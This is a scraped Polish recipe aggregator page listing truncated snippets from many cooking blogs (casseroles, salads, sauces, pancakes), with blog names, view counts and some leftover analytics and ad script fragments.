Zapiekanka palce lizać. U mnie była na obiad i na kolację. A to dlatego że nie mogłam jej się oprzeć. Szparagi z makaronem, kurczakiem i pysznym sosem serowym. Uczta dla podniebienia.         1 pierś z kurczaka 1 pęczek zielonych szparagów 200 g makaronu falbanki 100 g mozzarelli 1/2 papryki czerwonej 8 pomidorów suszonych 2 łyżeczki curry sól

wesoła kuchnia
Zapiekanka ziemniaczana z mięsem mielonym 123

być żółty ser. Następnie całość polać śmietaną z jajkami i włożyć przykryte naczynie do piekarnika nagrzanego do 200 st. C na ok. 40 minut. Zapiekankę ziemniaczaną można podać z sosem czosnkowym, albo ketchupem. Artykuł Zapiekanka ziemniaczana z mięsem mielonym pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Mięsne muffinki z suszonymi pomidorami i mozzarellą 140

mnie wyszło 9 sztuk. Formę wstawić do piekarnika nagrzanego na 180 C i piec ok 30-35 minut. Gotowe mięsne muffinki podałam z pieczonymi warzywami (ziemniaki, marchewka, cebula) i sosem czosnkowym

Monia miesza i gotuje
Sałatka brzoskwiniowa polana 13871

mieszamy z jogurtem naturalnym oraz z przeciśniętym przez praskę czosnkiem. Doprawiamy solą oraz pieprzem do smaku. Sałatkę układamy w salaterce warstwowo: Ugotowany ryż czerwona papryka kukurydza usmażony kurczak por sos ser żółty brzoskwinie Wierzch sałatki posypujemy szczypiorkiem. Artykuł Sałatka brzoskwiniowa polana pochodzi z serwisu Alle Dobre

Alle Dobre!
Śniadaniowe placuszki – szybkie i pyszne 165

jadły by je cały czas Placuszki smakują rewelacyjnie same, jak i z prostymi dodatkami. U nas ostatnio królują owoce lub syrop klonowy. Córeczka czasem prosi też o wersję polaną sosem czekoladowym Bez względu na dodatki te placuszki smakują każdemu. Do tego gorąca herbata w ulubionych kubkach i… tak można zaczynać każdy dzień Bo choć za oknem szaro i ponuro

Słodkie okruszki
Pyszna sałatka z tuńczykiem - potrzebujesz tylko kilku składników 113

Składniki: Tyńczyk w sosie własnym lub w oleju puszka Kukurydza puszka Makaron orzo w kształcie ryży 150 g Szczypiorek 1/2 pęczka Majonez 2 łyżki Jogurt naturalny łyżka czosnek ząbek Sól Pieprz Przygotowanie: Makaron ugotować do miękkości zgodnie z instrukcją na opakowaniu. Kukurydzę odcedzić. Do miski przełożyć ugotowany makaron, rozdrobnionego tuńczyka, kukurydzę oraz posiekany szczypiorek. W osobnej miseczce wymieszać majonez, jogurt

Kulinarne przygody
Kotlety z kaszy i jajek 138

burakiem i borowikami i wyszło smacznie. Dla osób nie jedzących mięsa idealne ale dla mięsożerców też są fajną zmianą. Możecie podać je na ciepło z surówką i na przykład sosem pieczarkowym albo zjeść same. Dobrze też smakowały na zimno. Kaszetki możecie kupić między innymi w sklepie Bee ze zdrową żywnością . Znajdziecie tam wiele fajnych i zdrowych produktów różnych firm, które

Ewa w kuchni
Sałatka z buraków i kiszonej cytryny 119

macie upieczone buraki przygotowanie tej sałatki zajmie zaledwie kilka minut, ale polecam odstawić ją na jakiś czas do lodówki, żeby smaki dobrze się "przegryzły". Przed podaniem wystarczy polać ją sosem z jogurtu i tahiny. Mniam😋 Składniki: 0,5 kg buraków 2 łyżki oliwy 1 łyżeczka nasion kuminu 1 czerwona cebula, pokrojona w plasterki 0,5 kiszonej cytryny, drobno posiekanej

Smakowity Blog Kulinarny
Kanapki burger 204

pomidorem, cebulą, ogórkiem i innymi dodatkami. Kanapka burger to wzorująca się na popularnym burgerze bułka z dodatkami. Co to jest burger każdy wie, wypasiona kanapka z solidnym kotletem, ociekająca sosem. Takiego klasycznego burgera nie każdy zdoła radę zjeść, a już na pewno nie dziecko. Należy też nadmienić, że hamburger to nie jest amerykański wynalazek. USA go tylko rozsławiło. Hamburger

Dieta moja pasja
Łopatka wieprzowa w sosie cebulowo-pieczarkowym 124

Kruche mięso w towarzystwie aromatycznych pieczarek w delikatnym sosie doskonale sprawdzi się na obiad Co potrzeba: 1 kg łopatki wieprzowej, 1 kg mniejszych pieczarek, 6 szt. średniej cebuli, 200 g śmietany słodkiej 30%, 50 g masła, 1 łyżeczka czosnku granulowanego, 1 płaska łyżeczka pieprzu, Olej do smażenia, Sól, Wykonanie: Pieczarki obieramy ze skórki, płuczemy, kroimy w plasterki razem z ogonkami

Bułka z Chlebem
IDEALNA ROLADA BISZKOPTOWA Z KREMEM ŚMIETANOWYM I TRUSKAWKAMI – przepis przygotowany w TERMOROBOT ICOOK MRK-18 MPM 140

zarazem „wyczuć sprzęt” JAK DZIAŁA WGRANA E-KSIĄŻKA KUCHARSKA? W e-książce w tej chwili mamy ponad 160 przepisów. Co robimy? Wybieramy wymarzone danie ( od zup, przez sosy, dania główne, lody, desery, drinki td ) Na urządzeniu wyświetla nam się najpierw lista produktów, a następnie przepis KROK PO KROKU pokazujący co w danym momencie mamy zrobić. Przy korzystaniu

Ostra na Słodko
Sałatka z łososiem 114

a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-92313943-1', 'auto'); ga('send', 'pageview'); -4 jajka ugotowane na twardo -2 puszki łososia w sosie własnym ( 80 g jedna puszka ) -pół główki cebuli sałatkowej -6 ogórków konserwowych ( 150 g ) -papryka czerwona 50 g -brzoskwinie z syropu 200 g -garść świeżej rzeżuchy -pieprz, sól do smaku

Kulinarne przemyslenia
Pedregalejo (Malaga) - spacer po plaży 148

smażonych ryb i owoców morza. Do kompletu można zamówić tradycyjne tapas. W sezonie koniecznie trzeba zamówić sardynki, które są nabijane na drewniane szpadki i grillowane na drewnie. Do tego sos alioli, odrobina cytryny i  jesteśmy w niebie. W trakcie spaceru zrobiłyśmy sobie przerwę na jedzenie. Obowiązkowo zamówiłyśmy tinto de verano, czyli czerwone wytrawne wino z dodatkiem gazowanej lemoniady

Kulinarne przygody Gatity
Szparagi w cieście francuskim z pomidorami i boczkiem 128

elegancko. Jest z tym trochę “zabawy”, ale warto – efekt jest oszałamiający! Szparagi w cieśnie francuskim można podawać same. Dla dopełnienia uczty smaków, można podawać również z sosem, np.  pomidorowym  lub  rzodkiewkowo-porowym . Którą wersję wybierzecie? Smok poleca też inne dania ze szparagów , a szczególnie zupę krem ze szparagów i cukinii . {"@context":"http:\/\/schema.org","@type

Bardzo Gruby Smok
Kanapkowa pasta jajeczna ze szczypiorkiem 143

przyprawami. Podawaj z kromkami świeżego pieczywa lub grzankami. Uwagi: My zaserwowaliśmy pastę jajeczną na kromkach chleba buraczanego (z Kauflandu), z dodatkiem szybkiej sałatki z roszponki, małych pomidorków i sosu balsamicznego. {"@context":"https:\/\/schema.org","@type":"Recipe","name":"Podstawowa pasta jajeczna z m\u0142odym szczypiorkiem","image":["https:\/\/prostepesto.pl\/wp-content\/uploads\/2021\/05\/pasta-jajeczna.jpg","https:\/\/prostepesto.pl\/wp-content\/uploads\/2021\/05\/pasta-jajeczna-500x500.jpg","https:\/\/prostepesto.pl

ProstePesto.pl
Brownie z czarnej soczewicy 191

Czekolada pasuje do wszystkiego, wprawdzie ryby z sosem czekoladowym jeszcze nie próbowałam, ale wszystko przede mną 😉 a wracając do czekolady to pasuje też do soczewicy i wtedy wychodzi nam pyszne, słodkie i aksamitne brownie. Byłam ciekawa efektu i przyznam, że wyszło pyszne 😊 Ciasto ma rekomendację mojego Niejadka, który sam poprosił o kawałek (co praktycznie się nie zdarza) i zjadł

Na kulinarnym poligonie
Placuszki ziemniaczane z młodą kapustą 167

Placuszki ziemniaczane z młodą kapustą Znudziły się Wam ciągle gotowane ziemniaki. Proponuje placuszki z ziemniaków młodych z młodą kapustką. Takie placuszki z ziemniaków możemy polać sosem oraz mięsem. Smakują jak kopytka, ale są dużo lepsze.   12 porcji 50 minut czas przygotowania Składnik: ·        ½ kg ziemniaków młodych ·        ½ główki kapusty

Kulinarna Chwila
Schab w sosie pieczarkowym 129

Schab w sosie pieczarkowym z koperkiem, zabielony śmietaną 30%. Idealny do makaronu! Składniki: schab bez kości ok 1 kg, 300 g pieczarek, duża cebula, 3 ząbki czosnku, pęczek koperku, 330g śmietany 30%, sól, pieprz czosnkowy, pieprz czarny 2 łyżki masła Przygotowanie: Schab kroimy na 1cm plastry - lekko rozklepujemy, solimy z obu stron, posypujemy pieprzem czosnkowym. Obsmażamy na maśle po minucie

Lena Gotuje
Sałatka ogórkowo - pomidorowa z rzodkiewką 145

Smacznego :)    Jeśli macie ochotę na mizerię to poniżej dwie moje propozycje ( wystarczy kliknąć w tytuł, a ukaże się przepis ) zapraszam : Lekka mizeria z rzodkiewką w jogurtowym sosie klik     Mizeria najprostsza, ogórki w śmietanie klik

Kuchnia z widokiem na ogród
Niby Dżem Z Melona I Jabłka 167

Dlaczego niby dżem ponieważ konsystencja jego jest dość rzadka i bliżej mu do sosu niż do  dżemu, a będzie idealny do placuszków, naleśników czy do deserów oczywiście na chałeczkę też będzie można go dać ;) Dżem powstał nie planowanie ponieważ kupiłam melon który po rozkrojeniu okazał się niedojrzały i mało słodki dlatego aby go nie wyrzucać przerobiłam go na coś

Gotowanie...to proste !
Sałatka ziemniaczana 136

Czosnek obieramy i przeciskamy przez praskę. 3. Jogurt mieszamy z majonezem, dodajemy czosnek i mieszamy przyprawiając do smaku solą, pieprzem i ziołami. 4. Ziemniaki i cebulę mieszamy dokładnie z sosem. Sałatkę wkładamy do lodówki do schłodzenia i żeby składniki przegryzły się. 5. Podajemy z dowolnymi dodatkami. Smacznego życzę. Moje rady: Z tej receptury wychodzie 4 porcje, ale można podwoić składniki

Izabelawkuchni
Karmelizowane miodem marchewki 100

Wrzucamy dwie łyżki masła (może być mniej), dwie łyżki miodu( też może być mniej )i delikatnie obracając warzywa pokrywamy je karmelem .Dusimy do momentu, aż praktycznie marchewka wchłonie cały sos i pokryje się przepysznym sosikiem. Posypujemy świeżą natką pietruszki, przekładamy na talerz i obiad gotowy! Początek formularza

Z Kuchni Do Kuchni
Sałatka z pieczonym burakiem ,kurczakiem i fetą 118

Pyszna sałatka ,z pysznymi pieczonymi buraczkami, smażonym kurczakiem ,duża ilością serka typu feta i sosem czosnkowym - genialne połączenie. Ciężko przestać ją jeść.... Idealnie sprawdzi się na każdej domowej imprezie ,lub po prostu na kolację lub przekąskę .Polecam gorąco

Swojskie jedzonko
Zupa z tortellini ze szpinakiem 177

zamiast krojonych pomidorów z puszki, polecamy użyć świeżych. Najlepiej sprawdzą się pomidory malinowe. Poznaj również nasz przepis na pyszne chrupiące tortellini z serem , a także zapiekankę z tortellini w sosie serowym . Zobacz także przepis na piękną sałatkę z tortellini i kurczakiem . Życzymy smacznego! Artykuł Zupa z tortellini ze szpinakiem pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Filet pod wiosenną pierzynką 94

ogórki konserwowe. Doprawiamy pieprzem oraz solą, podlewamy odrobiną wody i gotujemy do miękkości. 3. Tak przygotowane warzywa rozkładamy na każdym kawałku mięsa. 4. Majonez oraz ketchup razem mieszamy i sosem przykrywamy warzywa. 5. Na koniec posypujemy żółtym serem startym na tarce o dużych oczkach. 6. Zapiekamy w rozgrzanym piekarniku 20 minut w 180° C. 7. Danie gotowe. 8. Smacznego

Kulinarna Chwila
Domowe bułki do hot dogów 110

lekko zezłocą. Podajemy jak tylko lekko przestygną.  Mój sposób podania: bułeczki nacinam wzdłuż, smaruję dobrą musztardą, wkładam podgrzaną parówkę, dodaję ogórki kiszone pokrojone w ptastry, czerwoną cebulę i sos z łyżki keczupu i 3 łyżek majonezu z odrobiny tabasco

Kulinarne Inspiracje
Spaghetti z mięsem drobiowym - fit, dietetyczne 99

czosnek, podsmażamy jeszcze chwilę, po czym passatę i  pomidory z puszki. Dusimy do zagotowania. Dodajemy suszoną bazylię, oregano, sól i pieprz do smaku. Dusimy jeszcze chwilę. 3. Gotowym sosem polewamy makaron. Posypujemy serem, dekorujemy liśćmi świeżej bazylii.  makaron, dieta, filet, kurczak, obiad, fit, dietetyczny, zdrowy, zdrowe, 1500 kcal, spaghetti, odchudzanie, dietetyczne

Szefowa kuchni
Drobiowa tarta z cukinią bez spodu - fit, dietetyczna, zdrowa 207

tartą, odrobiną soli, pieprzem i czosnkiem. Zagniatamy do dokładnego połączenia składników. Masę wykładamy do formy na tartę. 3. Pieczemy w temperaturze 190 stopni przez 50 minut. Można podać z sosem czosnkowym

Szefowa kuchni
Makaron z kurczakiem i szparagami 140

minuty, odcedzam.  Na patelni rozgrzewam tłuszcz, smażę mięso, następnie dodaję cebulę i podsmażam, na koniec wrzucam czosnek i smażę jeszcze przez 2 minuty. Wlewam śmietanę, zagotowuje. Gdy sos ładnie zgęstnieje dodaję makaron ze szparagami, koperek, mieszam. Na koniec oprawiam do smaku sola i pieprzem, chwilę jeszcze całość duszę. przed podaniem posypuję koperkiem. Smacznego

magiczna kuchnia Kasi
Mizeria z ogórków 132

adsbygoogle = window.adsbygoogle || []).push({}); Mizeria z ogórków przez Paulina 2021-05-22 Szaszłyki z grilla przez Paulina 2021-05-15 Pstrąg z piekarnika przez Paulina 2021-05-10 Skrzydełka w sosie miodowo – musztardowym przez Paulina 2021-05-05 Sałatka z wędzonym łososiem przez Paulina 2021-04-24 Carpaccio z buraka przez Paulina 2021-04-21 Artykuł Mizeria z ogórków pochodzi

To Musisz Wiedzieć
Sałatka z czerwonej botwinki 92

Sałatka z czerwonej botwinki to propozycja na lekką i smaczną przekąskę. Czerwona botwinka, ser feta, gruszka i pyszny sos tworzą bardzo harmonijne połączenie, które zachwyci smakiem każdego. Sałatka z czerwonej botwinki sprawdzi się doskonale jako posiłek do pracy czy szkoły. Będzie także świetnym wyborem na lekką kolację. PRZEPIS NA SAŁATKĘ Z CZERWONEJ BOTWINKI Składniki 2 garście listków czerwonej botwinki

Alle Dobre!
Krem cytrynowy 119

tego czy krem gotujemy bezpośrednio na ogniu czy w kąpieli wodnej, cały proces może zając do 15 minut . Krem przygotowany w kąpieli wodnej ma lżejszą konsystencję zbliżoną do sosu holenderskiego, z kolei ten robiony bezpośrednio na ogniu jest zdecydowanie gęstszy i bardziej zwarty. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Krem cytrynowy Składniki na krem cytrynowy

MeCooks
Klopsiki z kaszy jaglanej i pora w sosie pomidorowym 141

rezultacie przepyszny obiad na talerzu, całkiem wegański i bardzo pyszny. Może trochę z nim zabawy ale zapewniam że warto. Danie bardzo pożywne i odżywcze, polecam. Klopsiki w sosie. CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z kurczakiem i winogronami 122

element do pochrupania, w postaci różnego rodzaju orzeszków. Nie byłabym też sobą, gdybym oprócz kremu balsamicznego nie dodała do sałatki nieco majonezu, który zmieszałam ze śmietaną i polałam takim sosem po wierzchu sałatki Całość wyszła świetna, dlatego polecam. PS. A na zdjęciu w tle druga sałatka – Gyros. Była jeszcze jedna, z orzeszkami ziemnymi, jabłkiem i tuńczykiem około

Smaki Na Talerzu
Placki ziemniaczane na grubych oczkach z serem 116

ziemniaczanej. Pamiętam oczywiście o uzupełnianiu poziomu tłuszczu na patelni. Placki podaję prosto z patelni na gorąco wraz z ulubionymi dodatkami. Są nimi przede wszystkim kwaśna śmietana prosto z lodówki, sos czosnkowy lub jak proponuje pani Ewa Wachowicz: ser kozi, łosoś wędzony. Danie jest banalnie proste, a dzięki wielu dodatkom nigdy się nie nudzi. Smacznego. Wskazówki do placków ziemniaczanych. Placki ziemniaczane

Ania gotuje
Keto kotlety jajeczno – brokułowe (Paleo, LowCarb) 132

standardu w postaci soli i pieprzu. Keto kotlety jajeczno – brokułowe smakują wyśmienicie w towarzystwie wiosennej sałatki ze świeżych warzyw w typie mizerii lub coleslaw. Można także pokusić się o sos do nich – czosnkowy lub serowy powinny dobrze tutaj pasować. Jeśli podobają Wam się treści prezentowane na moim blogu i chcecie okazać wsparcie dla mojej działalności, to zachęcam do postawienia

Modern Cave Girl
Sałatka z Młodą Kapustą 114

pewno zachwyci Wasze podniebienia. PRZEPIS NA SAŁATKĘ Z MŁODĄ KAPUSTĄ (adsbygoogle = window.adsbygoogle || []).push({}); Składniki 1/2 małej główki młodej kapusty 2 marchewki 1 puszka kukurydzy 2 puszki tuńczyka w sosie własnym 1 cebula czerwona 200 g żółtego sera pęczek szczypiorku 1 łyżeczka musztardy 1 łyżka soku z cytryny sól pieprz 5 łyżek jogurtu naturalnego 2 ząbki czosnku Wykonanie Młodą

Przepiski.pl
Naleśniki z Serem 140

dodaję zawsze odrobinę śmietany oraz żółtko. Taki sposób przygotowania sera wyniosłam z domu i tak robię do dzisiaj. Naleśniki z serem można wzbogacić o ulubione owoce czy też słodki sos. To już kwestia gustu i tego, na co w danej chwili mamy ochotę. Jeśli chodzi o zawijanie naleśników, może a robić to na dwa sposoby. Złożyć je w tak zwane

Przepiski.pl
Muffinkowe mielone 176

mięsem. 4.    Zwisającymi paskami boczku przykrywamy mięso. 5.    Pieczemy w rozgrzanym piekarniku 30 minut w 180 ° C. 6.    Kotlety gotowe, podajemy z ulubionym sosem. 7.    Smacznego

Kulinarna Chwila
Spring rollsy 257

Składniki: 1 filet z kurczaka przyprawa do mięsa sos sojowy ocet ryżowy 1 pęczek rzodkiewek 1/2 ogórka 50 g makaronu ryżowego kawałek czerwonej papryki papier ryżowy, ok 14 szt do … Czytaj dalej Spring rollsy

czarrna od kuchni
Wegański sushi bowl z tofu marynowanym z imbirem 107

więcej. Bankowo. Czas: 40 minut Poziom trudności: Łatwe Liczba porcji : 2   Składniki: 1 szklanka ryżu 1½ szklanki wody 1 łyżka octu ryżowego lub winnego Marynowane tofu 6 łyżek sosu sojowego 3 łyżki oleju sezamowego 4 łyżki octu ryżowego lub winnego 2 łyżki cukru brązowego 1 łyżka startego imbiru Opakowanie sera tofu Szybkie marynowane rzodkiewki i marchew ½ szklanki octu ryżowego

Niedzielny kucharz
Karkówka pieczona w plastrach – pyszny przepis na karczek z piekarnika 1032

karczek z piekarnika Zobacz inne przepisy na karkówkę na obiad: Karkówka pieczona z warzywami – prosty przepis na domowy obiad Karkówka zapiekana z kapustą pekińską Roladki z karkówki zapiekane w sosie pomidorowym Karkówka po cygańsku z pieczarkami i papryką Roladki z karkówki – rozpływają się w ustach Karkówka pieczona w plastrach – pyszny przepis na karczek z piekarnika Artykuł Karkówka pieczona w plastrach

e-PrzepisyKulinarne
Stripsy z Kurczaka 105

różnego rodzaju domówkach, czy spotkaniach w gronie znajomych. Stripsy z kurczaka to nic innego jak małe kawałki fileta z kurczaka w pysznej i chrupiącej panierce. Zazwyczaj serwowane z dodatkiem sosu czosnkowego lub ketchupu. Domowe stripsy z kurczaka można przygotować na dwa sposoby. Można je usmażyć na głębokim tłuszczu lub upiec w piekarniku. Ja zazwyczaj wybieram tę drugą wersję, ze względu

Przepiski.pl
Pieczony filet z indyka z chorizo 106

też może Cię zainteresować: → Pieczona rolada ze schabu z boczkiem i botwinką → Świąteczna pieczona łopatka z czosnkiem → Pieczony schab z morelami i śliwkami → Roladki z indyka ze szpinakiem w sosie z gorgonzoli → Roladki z indyka z kozim serem , szpinakiem i sezamem Artykuł Pieczony filet z indyka z chorizo pochodzi z serwisu Oryginalny smak

Oryginalny smak
Cacio e pepe 136

Cacio e pepe to danie pochodzące z Rzymu. Genialny i ekspresowy pomysł na szybki makaron (najczęściej spaghetti) z sosem powstającym  tylko z trzech prostych składników: owczego sera Pecorino Romano, świeżo mielonego pieprzu oraz wody z gotowania makaronu.  Składniki:  300 g makaronu np. spaghetti, bucatini 200 g sera Pecorino Romano sól, 2 łyżeczki świeżo mielonego lub roztartego

wyzwania kuchenne
Przepisy na Młodą Kapustę 113

idealnego dla siebie. Możecie przygotować kapustę zasmażaną, kapustę na pomidorowo, pałki z kurczaka zapiekane na młodej kapuście i nie tylko. Zapraszam do zapoznania się z przepisami! 1. Gołąbki w sosie pomidorowym Przepis Alledobre.pl 2. Młoda kapusta ze śmietaną i koperkiem Przepis na: Przepiski.pl (adsbygoogle = window.adsbygoogle || []).push({}); 3. Naleśniki z młodą kapustą Przepis na: Przepiski.pl 4. Młoda kapusta zasmażana Przepis

Damusia.pl
Które owoce i warzywa są najlepsze dla Ciebie? 119

surowo. Jeśli mocne smaki powstrzymują Cię przed jedzeniem warzyw, baw się z przyprawami, takimi jak różnego rodzaju zioła, czosnek lub cytrusy. Możesz je również dodawać do zup, sosów do makaronu, gulaszu i innych zdrowych przepisów. Gotuj je do miękkości, jednak do tego momentu aby nie straciły jędrności. Następnie ostudź i dodaj do sałatki. W ten sposób nie poczujesz intensywnego aromatu

ProstePesto.pl
Domowe cnocchi 137

osolony wrzątek, po wypłynięciu gotować chwilę, wybrać łyżką cedzakową.                            Ja podałam z karczkiem w sosie plus czerwone buraczki

Proste Potrawy
Zapiekanka z kurczakiem i kapustą 113

Zapiekanka z kurczakiem i kapustą Pyszna kilku warstwowa zapiekanka przekładana mięsem mielonym, filetami z kurczaka, grzybami oraz młodą kapustą, polana sosem z zupy cebulowej. Idealna propozycja na sobotni obiad. 8 porcji 60 minut czas przygotowania Składniki: ·        1 podwójny filet z kurczaka ·        30 dag mięsa mielonego wieprzowego

Kulinarna Chwila
Obiad za 10 zł – TOP 12 Pysznych Przepisów na Obiad Tanim Kosztem 148

znajdziecie coś dla miłośników słodkości. 1. Naleśniki z młodą kapustą Przepis na: Przepiski.pl (adsbygoogle = window.adsbygoogle || []).push({}); 2. Pałki z kurczaka pieczone na ryżu Przepis na: Przepiski.pl 3. Gołąbki w sosie pomidorowym Przepis na: Alledobre.pl 4. Makaron z serem Przepis na: KulinarnePrzeboje.pl (adsbygoogle = window.adsbygoogle || []).push({}); 5. Kotlety ziemniaczane Przepis na: gotujzcukiereczkiem.pl (adsbygoogle = window.adsbygoogle || []).push({}); 6. Zapiekanka ziemniaczana z kiełbasą Przepis

Damusia.pl
KETO GOFRY BIAŁKOWE (keto, LCHF, paleo, bez glutenu i laktozy, redukcja) 160

białkowe można podawać z różnego rodzaju dodatkami w zależności od Waszego zapotrzebowania kalorycznego, docelowego makro posiłku oraz dobowego. Bezsprzecznie idealnie komponują się np. z bitą śmietaną, mascarpone, masłem orzechowym , sosem czekoladowym na bazie gorzkiej czekolady, oleju kokosowego lub MCT, dżemem bez cukru , orzechami czy owocami. Reasumując, jak zawsze ogranicza Was tylko wspomniane makro i Wasza wyobraźnia. Pamiętajcie tylko by wszystkie

Ola la LCHF
Młoda kapusta z boczkiem i koperkiem 130

próbowałam ją zrobić. Nie wiem co wtedy poszło nie tak ale w smaku była tragiczna. Tym razem wyszła idealna. Uwielbiam młodą kapustę w takim wydaniu. Lekko słodkawa w maślanym sosie z koperkiem i boczkiem. Można ją jeść samą lub jako dodatek do obiadu.  1 główka młodej kapusty (500-700g) 150 g wędzonego surowego boczku 1 pęczek świeżego koperku

VioletoweKucharzenie
Domowe Chipsy z Tortilli 123

siebie nie nachodziły. Wstawić do nagrzanego do 180 stopni piekarnika i piec około 8-10 minut. Chipsy z tortilli podawać same lub z ulubionym dipem, ketchupem, sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Domowe Chipsy z Tortilli pochodzi z serwisu Przepiski.pl

Przepiski.pl
Paluchy drożdżowe z pesto pomidorowym. 119

Dziś zapraszam Was na pyszną drożdżową przekąskę z pysznym sosem pesto pomidorowym. Powiem szczerze, że to moje pierwsze zetknięcie z tym pesto ale zapewne nie ostatnie. Paluchy wyszły wyśmienite. Możemy je zjadać jako samodzielną przekąskę albo dodatek do barszczu czy innych czystych zup. Ja podałam z pomidorowa. Pyszota!  Składniki; 450 dag mąki pszennej 15 g świeżych drożdży

Radość kipiąca uśmiechem.
Sałatka ekspresówka 102

Zapraszam do wypróbowania przepisu na sałatkę ekspresówkę! PRZEPIS NA: SAŁATKA EKSPRESÓWKA Składniki 300 g szynki drobiowej 4 jajka 1 słoik cebulki marynowanej 1 mały por 1/2 puszki kukurydzy szczypiorek Sos: 3 łyżki jogurtu naturalnego 2 łyżki majonezu sól pieprz Wykonanie 1. Jajka ugotować na twardo, obrać ze skorupki i pokroić w kosteczkę. 2. Kukurydzę oraz cebulkę marynowaną odcedzić z zalewy

Alle Dobre!
kotlety z makaronu nitki... 137

szybko wszystko wymieszać do zagęszczenia, zdjąć z ognia - bardzo smaczny i wart wykonania pomysł na makaron nitki, kotlety są bardzo smaczne, chrupiące i smakują wybornie na zimno z sosem np. czosnkowym czy na ciepło na obiad z surówką........SMACZNEGO

W Mojej Kuchni Lubię
sałatka z rukoli z melonem i fetą 150

układam na talerzu, dodaję przekrojone na pół pomidorki, pokrojonego w kostkę melona (możecie wyciąć kulki specjalną łyżeczką) oraz kostki fety. Ziarna słonecznika podgrzewam na suchej patelni do zrumienienia. Składniki sosu mieszam dokładnie, gotowym - dekoruję sałatkę tuż przed podaniem. Wierzch posypuję prażonym słonecznikiem

babka w formie
Zapiekanki z serem i pieczarkami 116

brzmi, przepis ważny dla mnie lub po prostu dla każdego. Uparłam się na bitki wołowe z grzybami. Ten przepis kojarzy mi się z domem rodzinnym, pamiętam smak bitek, zapach sosu unoszący się w domu. Tak, to musiały być bitki. Tydzień temu wyczarowałam pyszne bitki. Wyszły idealnie, ale to nie był ten przepis. Nie, nie pasował mi na 1000 wpis. Myślałam

Kardamonovy
Tortilla ala pizzerki 124

paseczki. 3.    Dwie łyżki ketchupu mieszamy z dwiema łyżkami majonezu. 4.    Placki tortilli rozkładamy, na każdym placku układamy plasterek sera topionego. 5.    Smarujemy sosem i układamy mięso oraz warzywa. 6.    Zawijamy tortille robiąc trójkąty złączając na środku. Odwracamy tak żeby łączenie było pod spodem i układamy na blaszce wyłożonej papierem do pieczenia

Kulinarna Chwila
Makaron z kapustą i kiełbasą 120

używać klasycznej kapusty białej, czyli twardej, należy ją przed duszeniem obgotować. Sprawdź również inne nasze pomysły na obiad z użyciem makaronu. Poznaj przepis na pysznego kurczaka z makaronem w sosie oraz na zapiekankę makaronową z pieczarkami i boczkiem . Zobacz również pomysł na sałatkę z makaronem i boczkiem . Życzymy smacznego! Artykuł Makaron z kapustą i kiełbasą pochodzi z serwisu Kuchnia

Kuchnia Na Wypasie
Sałatka ze szpinakiem i truskawkami. 143

nieoficjalne początek sezonu truskawkowego , pragnienie dodawania owoców do sałatki w sezonie jest nieodłącznym elementem urozmaicenia posiłku . Kasza quinoa inaczej komosa ryżowa. Śmiało możemy ją wykorzystać do dań z sosem, świetnie się sprawdzi jako zamiennik ryżu, ziemniaków czy makaronu. Quinoa nie zawiera glutenu, więc może być konsumowana przez osoby borykające się z celiakią lub będące na diecie bezglutenowej. Kasza ta posiada

Zdrowy Styl Joanny
Taktouka sałatka 125

jakości z Domu Oliwnego, jakieś dwie, trzy łyżki. Teraz wrzuć wszystkie składniki, wlej wodę, zagotuj, zmniejsz temperaturę, przykryj pokrywką i gotuj jakieś 30 minut, aż warzywa będą miękkie a sos lekko zgęstnieje. Taktouka możesz zjadać z chlebem, ze smażoną piersią z kurczaka jak ja lub możesz użyć jej do przepysznej Shakshuki. Sałatki Świata to cel mojej kolejnej podróży kulinarnej

RafalCook
Paprykarz z trzech składników – przepis na najprostszy domowy paprykarz 99

wrzucamy cebulę. Smażymy ją na złoty kolor, uważając aby się nie przypaliła. Ryż gotujemy wg instrukcji na opakowaniu i pozostawiamy do wystudzenia. Do miski przekładamy szprotki wraz z sosem i rozdrabiamy ryby widelcem. Dodajemy ryż i cebulę. Całość mieszamy dokładnie na jednolitą masę. Można doprawić do smaku solą i pieprzem, ale może to nie być konieczne, gdyż ryby z puszek

e-PrzepisyKulinarne
Zaalouk sałatka 141

trzecie zagotuj zawartość patelni, zmniejsz temperaturę i gotuj pod przykryciem jakieś 30 minut. Na koniec, w sumie na 15 minut przed końcem wrzuć kawałki cytryny, zamieszaj i gotuj, aż sos zgęstnieje a warzywa będą miękkie. I już na sam koniec nałóż na talerz i zjadaj z pieczywem lub tak jak ja, ze smażoną na oliwie piersią z kurczaka

RafalCook
Zupa z botwiny z ziemniakami i jajkiem 123

śmietanę, masło oraz jajka, zupa stanie się świetnym daniem wegańskim. Sprawdź inne nasze przepisy z wykorzystaniem buraczków, jak np. domowa ćwikła z chrzanem , a także buraczki obiadowe w pysznym sosie . Poznaj również przepis na buraczki z jabłkiem na zimno . Życzymy smacznego! Artykuł Zupa z botwiny z ziemniakami i jajkiem pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Zapiekanki gyros 117

szybkie zapiekanki z aromatycznym kurczakiem z patelni. Jeśli szukasz pomysłu co zrobić z piersią kurczaka? Przepis na chrupiące zapiekanki z gyrosem jest dla Ciebie. Zapiekanki nie są obciążane ciężkim sosem. Serek kremowy np. Bieluch, Wiejski, Łaciaty lub inny, trochę przypraw i koncentrat pomidorowy tym smarujemy pieczywo.   Pomysł na pierś z kurczaka Filet z piersi kurczaka to mięso szybkie

Dieta moja pasja
Kurczak w sosie curry z suszonymi morelami 115

minut. Następnie dodajemy podsmażone mięso. Gotujemy, co jakiś czas mieszając, aż do odparowania wody. Wówczas dodajemy śmietankę. Wsypujemy curry oraz szczyptę chilli. Smażymy chwilę, aż do zgęstnienia sosu. Podajemy z ugotowanym ryżem, posypane posiekaną natką lub kolendrą. Źródło

Smaki Na Talerzu
Chrupiąca sałatka z ogórków i czerwonej cebuli 154

wody sól, pieprz Sposób wykonania: Ogórki kroimy w plastry a cebulę w piórka. Warzywa wrzucamy do miski, dodajemy poszatkowaną dymkę oraz koperek. W szklance mieszamy ocet, wodę i cukier. Sos wlewamy do warzyw. Do sałatki dodajemy olej sezamowy, sezam, sól i pieprz. Wszystko razem mieszamy

Qchnia po prostu
Pstrąg z piekarnika 127

